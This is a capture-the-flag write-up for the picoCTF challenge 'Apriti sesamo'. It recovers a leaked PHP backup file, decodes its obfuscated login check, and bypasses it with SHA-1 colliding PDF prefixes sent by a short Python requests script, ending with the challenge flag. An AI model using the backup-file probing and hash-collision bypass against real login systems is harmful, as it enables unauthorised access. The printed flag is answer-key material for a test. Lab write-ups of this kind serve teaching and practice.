Apriti sesamo
- Description: I found a web app that claims to be impossible to hack!
- Difficulty: Medium
🔎 Solution
The website presents a login form at /impossibleLogin.php
.
Attempting a random login simply returns the message: Failed! No flag for you.
Given the hint about backup files, I tried appending common backup extensions such as .old
, ~
,... to the original path.
This led me to a backup version of the page at /impossibleLogin.php~
.
Inside, I discovered a block of obfuscated PHP code
<?php
if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?>
After decoding it, I found the core login logic, which enforces the following conditions to access the flag.txt
file:
- The username must not be equal to the password.
- The SHA-1 hash of the username must match the SHA-1 hash of the password.
<?php
if (isset($_POST["username"]) && isset($_POST["pwd"])) {
$yuf85e0677 = $_POST["username"]; // username
$rs35c246d5 = $_POST["pwd"]; // password
if ($yuf85e0677 == $rs35c246d5) {
echo "<br/>Failed! No flag for you";
}
else {
if (sha1($yuf85e0677) === sha1($rs35c246d5)) {
echo file_get_contents("../flag.txt");
}
else {
echo "<br/>Failed! No flag for you";
}
}
}
?>
In essence, this is a classic hash collision challenge - 2 different inputs producing the same hash output.
To exploit this, I used 2 specially crafted PDF files with identical SHA-1 hashes, publicly released by Google in their 2017 announcement of the first SHA-1 collision. By submitting these 2 PDFs 2 one as the username, the other as the password - I satisfied both conditions simultaneously. A small script was written to automate this submission.
import requests
import urllib
file1 = urllib.request.urlopen("http://shattered.io/static/shattered-1.pdf").read()[:500];
file2 = urllib.request.urlopen("http://shattered.io/static/shattered-2.pdf").read()[:500];
r = requests.post("http://verbal-sleep.picoctf.net:56613/impossibleLogin.php",
data={'username': file1, 'pwd': file2});
print(r.text)
Upon a successful login, the server responded with the contents of the flag.
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
</head>
<body style="text-align:center;">
<pre>
_ _ _ __
| | (_) (_)/ _|
| | ___ __ _ _ _ __ _| |_ _ _ ___ _ _ ___ __ _ _ __
| |/ _ \ / _` | | | '_ \ | | _| | | | |/ _ \| | | | / __/ _` | '_ \
| | (_) | (_| | | | | | | | | | | |_| | (_) | |_| | | (_| (_| | | | |
|_|\___/ \__, | |_|_| |_| |_|_| \__, |\___/ \__,_| \___\__,_|_| |_|
__/ | __/ |
|___/ |___/
</pre>
<br/>
<form action="impossibleLogin.php" method="post">
<label for="username">Username:</label><br>
<input type="text" id="username" name="username"><br>
<label for="pwd">Password:</label><br>
<input type="password" id="pwd" name="pwd"><br><br>
<input type="submit" value="Login">
</form>
</body>
</html>
picoCTF{w3Ll_d3sErV3d_Ch4mp_b88bdb32}
🚩Flag
picoCTF{w3Ll_d3sErV3d_Ch4mp_b88bdb32}